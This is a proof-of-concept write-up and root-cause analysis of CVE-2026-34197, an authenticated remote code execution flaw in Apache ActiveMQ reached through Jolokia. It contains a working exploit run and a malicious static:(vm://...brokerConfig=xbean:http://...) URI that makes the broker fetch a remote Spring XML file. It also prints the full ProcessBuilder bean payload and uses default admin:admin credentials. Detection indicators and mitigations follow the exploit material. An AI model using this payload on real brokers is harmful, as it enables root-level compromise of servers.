
Proof-of-concept exploit for CVE-2026-34197, demonstrating authenticated remote code execution in Apache ActiveMQ via Jolokia JMX-HTTP bridge and Spring XML bean injection.
Description
Improper Input Validation, Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport’s brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring’s ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker’s JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3. Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue
More information in: link
Github: link
❯ docker compose up -d
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
With LHOST is the private IP on computer. You can use ipconfig on Windows or ifconfig on Linux
Checking the RCE
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE successful, the file blahblah.txt was created on the target system.
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
The runtime logs also confirmed that Jolokia was enabled and exposed through the ActiveMQ web console:
INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verify the connection
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
This means:
To read logs
docker logs activemq-vuln > activemq-rce.log
Then grep for the clean chain
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
After sending payload
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
This line is critical because it confirms that the attacker-controlled URI supplied through:
BrokerView.addNetworkConnector(String)
reached the VM transport layer without sanitization.
The malicious URI used during exploitation was:
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
This URI contains two important parts:
| Component | Purpose |
|---|---|
static:(...) | Wrapper used by ActiveMQ discovery connectors |
vm://evil?... | VM transport URI processed internally by ActiveMQ |
The static:(...) wrapper itself is not the vulnerable component. Its purpose is to pass the enclosed transport URI into ActiveMQ's network connector subsystem.
During runtime execution, ActiveMQ extracted and processed the inner VM transport URI:
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
This behavior was confirmed in the runtime logs:
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
The brokerConfig= parameter is the critical portion of the payload. It instructed the VM transport layer to dynamically create a broker instance using an external Spring xbean configuration loaded from:
http://192.168.1.32:9999/evil.xml
The xbean: prefix caused ActiveMQ to delegate processing to Spring's XML application context loader:
org.apache.xbean.spring.context.ResourceXmlApplicationContext
As a result, the remote XML document was parsed and instantiated as a Spring application context inside the broker JVM.
The malicious XML contained the following Spring bean:
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
This bean definition instructed Spring to instantiate a ProcessBuilder object and immediately invoke its start() method during application context initialization.
The exploit used the following command:
touch /tmp/blahblah.txt
Because Spring eagerly instantiates singleton beans during context initialization, the ProcessBuilder.start() method executed before ActiveMQ validated whether the broker configuration itself was safe or valid.
This resulted in arbitrary command execution on the target container.
The exploit was verified by checking the /tmp directory inside the ActiveMQ container:
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
The file metadata further confirmed successful command execution:
❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt
Size: 0
Uid: (0/root)
Gid: (0/root)
Birth: 2026-05-18 04:01:35
This proves that arbitrary operating system commands were executed successfully within the ActiveMQ container context.
The runtime stack trace also revealed the complete vulnerable execution path:
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
The following stack trace entries were observed during runtime analysis:
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
One of the most important observations during dynamic analysis was the order in which Spring and ActiveMQ processed the malicious configuration.
After the payload executed successfully, ActiveMQ later generated the following warning:
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
This behavior demonstrates that:
Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.
This ordering issue is the core logic flaw behind CVE-2026-34197.
The dynamic analysis identified the following components participating in the exploit chain:
The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:
As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious brokerConfig=xbean:http://... URI through the Jolokia-exposed addNetworkConnector() operation.
Apache ActiveMQ Classic exposes a management interface through the Jolokia JMX-HTTP bridge available at:
/api/jolokia/
Jolokia acts as an HTTP-to-JMX bridge, allowing authenticated users to invoke Java Management Extensions (JMX) operations remotely over HTTP.
The vulnerable architecture path identified during analysis is shown below:
HTTP Request
->
Jolokia Servlet
->
JMX MBean Invocation
->
BrokerView.addNetworkConnector()
->
VMTransportFactory
->
BrokerFactory
->
XBeanBrokerFactory
->
Spring ResourceXmlApplicationContext
->
Spring Bean Instantiation
->
OS Command Execution
The following components were involved in the exploit chain:
The architecture becomes vulnerable because ActiveMQ permits authenticated users to invoke dangerous broker management methods with attacker-controlled transport URIs.
The primary attack surface is the Jolokia HTTP endpoint exposed through the ActiveMQ web console:
http://<target>:8161/api/jolokia/
Runtime analysis confirmed that the Jolokia interface was enabled by default:
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
The Jolokia endpoint accepted authenticated requests using HTTP Basic Authentication:
"authMode":"basic"
The following dangerous management operation was exposed:
BrokerView.addNetworkConnector(String)
This method accepts a user-controlled transport URI without sufficiently restricting dangerous URI schemes or configuration parameters.
The attacker supplied the following payload:
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
This payload abused several features simultaneously:
The attack surface therefore includes:
The vulnerability is caused by the interaction between multiple trusted subsystems inside ActiveMQ.
The core issue is that authenticated Jolokia users are allowed to invoke dangerous broker management operations with attacker-controlled transport URIs.
The vulnerable execution flow identified during runtime analysis is:
Jolokia
->
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
Spring bean instantiation
The critical parameter is:
brokerConfig=xbean:http://attacker/evil.xml
This parameter instructs the VM transport layer to dynamically create a broker using an external Spring xbean configuration.
The following runtime evidence confirmed this behavior:
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Spring then loaded the remote XML through:
org.apache.xbean.spring.context.ResourceXmlApplicationContext
The malicious XML contained:
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
During Spring application context initialization, singleton beans are instantiated eagerly. As a result, the ProcessBuilder.start() method executed immediately.
The key logic flaw is that Spring bean instantiation occurred before ActiveMQ validated whether the broker configuration itself was safe or valid.
This behavior was proven dynamically because:
/tmp/blahblah.txtThe configuration has no BrokerService instance
This demonstrates that code execution occurred before broker validation completed.
Potential indicators of compromise include suspicious Jolokia requests targeting ActiveMQ management operations.
Look for requests invoking:
addNetworkConnector
addConnector
through:
/api/jolokia/
The following URI fragments are strong indicators of exploitation attempts:
vm://
brokerConfig=
xbean:
static:(
Example malicious payload:
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
The broker may initiate outbound requests to attacker-controlled infrastructure:
http://attacker/evil.xml
Unexpected outbound HTTP traffic from the broker JVM should be investigated.
The following runtime messages are suspicious:
Establishing network connection from vm://localhost to vm://evil
ResourceXmlApplicationContext
XmlBeanDefinitionReader.loadBeanDefinitions
Unexpected files under:
/tmp/
or suspicious child process execution from the ActiveMQ JVM may indicate exploitation.
Successful exploitation allows authenticated remote code execution within the ActiveMQ JVM context.
In the analyzed environment, arbitrary operating system commands executed successfully inside the container:
touch /tmp/blahblah.txt
Result:
/tmp/blahblah.txt
The file was created as:
Uid: (0/root)
This indicates that command execution occurred with root privileges inside the container.
Potential impact includes:
The severity increases significantly if:
Upgrade ActiveMQ Classic to:
5.19.4 or later
6.2.3 or later
Disable Jolokia if not required.
If Jolokia must remain enabled:
Do not use:
admin:admin
Prevent the broker from initiating arbitrary outbound HTTP connections.
This mitigates remote XML retrieval attempts.
Restrict or disable:
vm:// transport usagexbean: configuration loadingMonitor for:
/api/jolokia/addNetworkConnectorbrokerConfig= parametersxbean: URIsThe vulnerable path crosses the ActiveMQ web/JMX management layer, the broker networking layer, the VM transport, the broker factory subsystem, and Spring XBean configuration loading.
Jolokia is enabled in the ActiveMQ web API application:
<!-- assembly/src/release/webapps/api/WEB-INF/web.xml -->
<servlet>
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
...
</servlet>
<servlet-mapping>
<servlet-name>jolokia-agent</servlet-name>
<url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
At broker startup, ActiveMQ registers BrokerView as the broker management MBean:
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
protected void startManagementContext() throws Exception {
getManagementContext().setBrokerName(brokerName);
getManagementContext().start();
adminView = new BrokerView(this, null);
ObjectName objectName = getBrokerObjectName();
AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName);
}
The object name is created as:
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
throws MalformedObjectNameException {
String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
return new ObjectName(objectNameStr);
}
In the default distribution this exposes the broker MBean as an HTTP-invokable Jolokia target such as:
org.apache.activemq:type=Broker,brokerName=localhost
The relevant component responsibilities are:
BrokerView: JMX-facing broker management facade. It exposes addNetworkConnector(String) and addConnector(String).BrokerService: broker runtime object. It turns a string network connector address into a URI and creates a DiscoveryNetworkConnector.DiscoveryNetworkConnector: uses a discovery agent to obtain remote broker service URIs, then connects to each discovered URI.TransportFactory: resolves a URI scheme to a transport factory using META-INF/services/org/apache/activemq/transport/<scheme>.VMTransportFactory: handles vm:// transports and can auto-create an embedded broker when the requested VM broker does not exist.BrokerFactory: resolves a broker configuration URI scheme using .The vulnerability exists because the management method accepts an ActiveMQ URI language that is not passive data. When the URI is evaluated, it can create brokers and load Spring XML configuration.
The vulnerable entry point is:
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}
The MBean interface exposes the operation as:
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
The attacker-controlled input is the Jolokia exec argument passed to discoveryAddress. In the vulnerable version, BrokerView.addNetworkConnector() performs no scheme validation, no nested URI validation, and no filtering of transport-specific parameters before passing the string to BrokerService.
BrokerService converts the string directly into a URI:
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
return addNetworkConnector(connector);
}
The connector object is then configured with the local broker URI and added to the broker:
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
Control reaches the transport subsystem when BrokerView starts the connector:
connector.start();
For the exploit URI:
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
static:(...) creates a static discovery connector, and the inner vm://... URI becomes the discovered remote service.
The VM transport is resolved through:
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
The vulnerable method is:
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
The method parses the vm:// URI, extracts query parameters, and treats brokerConfig as a broker creation URI:
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
The create option defaults to true:
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
If no broker exists for the requested VM host, VMTransportFactory creates one:
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
This is the transport-level privilege boundary failure. A URI supplied through the management plane is evaluated by the VM transport as an instruction to create a broker from an arbitrary configuration URI.
The remaining parameter validation occurs after broker creation:
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
That validation cannot prevent code execution through brokerConfig, because brokerConfig has already been removed from options and consumed before this check runs.
The upstream discovery path is:
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);
For static:(...), SimpleDiscoveryAgent.start() immediately emits each configured service:
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
DiscoveryNetworkConnector.onServiceAdd() then connects to the attacker-controlled inner URI.
Broker creation is handled by:
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
return createBroker(brokerURI, false);
}
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
if (brokerURI.getScheme() == null) {
throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
}
BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
BrokerService broker = handler.createBroker(brokerURI);
if (startBroker) {
broker.start();
}
return broker;
}
The handler lookup is scheme-based:
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
For xbean: URIs, the service descriptor maps to XBeanBrokerFactory:
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory
Exact static call flow:
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
The key transition is:
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
to:
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
The relevant XBean factory is:
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
createBroker() extracts the scheme-specific part of the xbean: URI and creates a Spring application context before checking whether it contains a broker:
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
The dangerous sink is createApplicationContext():
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
Remote resources are accepted by Utils.resourceFromString():
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
Therefore:
xbean:http://192.168.1.32:9999/evil.xml
is reduced to:
http://192.168.1.32:9999/evil.xml
and loaded as a Spring UrlResource.
The call to reader.setValidating(isValidate()) only controls XML validation mode in Spring's XmlBeanDefinitionReader. It does not restrict bean classes, constructor arguments, lifecycle methods, or remote URL resources.
ActiveMQ 5.18.6 declares:
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>
In XBean 4.25, ResourceXmlApplicationContext calls refresh() from its constructor:
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
It loads bean definitions from the supplied resource:
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
throws BeansException, IOException {
reader.loadBeanDefinitions(resource);
}
Spring's AbstractApplicationContext.refresh() then initializes the bean factory and instantiates non-lazy singleton beans:
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
finishBeanFactoryInitialization() calls:
beanFactory.preInstantiateSingletons();
DefaultListableBeanFactory.preInstantiateSingletons() creates every non-abstract, singleton, non-lazy bean:
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
During bean initialization, Spring invokes custom init methods:
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
...
invokeInitMethods(beanName, wrappedBean, mbd);
...
}
The custom init method is resolved from the bean definition:
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
invokeCustomInitMethod() invokes the method reflectively:
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
A malicious Spring XML bean such as:
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
causes the following behavior:
ResourceXmlApplicationContext constructor
-> refresh()
-> XmlBeanDefinitionReader.loadBeanDefinitions()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> getBean("exec")
-> instantiate java.lang.ProcessBuilder
-> initializeBean()
-> invokeInitMethods()
-> invokeCustomInitMethod("start")
-> ProcessBuilder.start()
This occurs before XBeanBrokerFactory.createBroker() validates the resulting context by looking for a BrokerService bean:
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
The broker validation occurs after Spring context refresh. As a result, a configuration can execute arbitrary init methods and still be rejected later as an invalid broker configuration.
The root cause is an unsafe architectural bridge between a remotely invokable management operation and trusted local broker bootstrap mechanisms.
The vulnerable design has these properties:
exec operations for ActiveMQ broker management MBeans.BrokerView.addNetworkConnector(String) accepts attacker-controlled URI input.static:(...) discovery causes the enclosed URI to be connected automatically when the network connector starts.vm:// transport is not only an in-VM transport; it also supports auto-creating a broker when the named VM broker is absent.VMTransportFactory treats brokerConfig as a broker factory URI and forwards it to BrokerFactory.createBroker().BrokerFactory supports xbean: URIs through XBeanBrokerFactory.XBeanBrokerFactory accepts URL resources and constructs a Spring ResourceXmlApplicationContext.This is not simply "improper input validation" in isolation. The vulnerable behavior is caused by exposing a configuration-capable URI interpreter through a runtime JMX operation and allowing that interpreter to reach Spring bean lifecycle execution.
The precise failure is that the management API treats discoveryAddress as a connector address, but the downstream transport stack treats it as executable configuration. In the exploit path, the string is evaluated as:
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
Validation occurs too late because the only broker-configuration validation in XBeanBrokerFactory happens after:
new ResourceXmlApplicationContext(resource)
and that constructor performs:
refresh() -> preInstantiateSingletons() -> init-method invocation
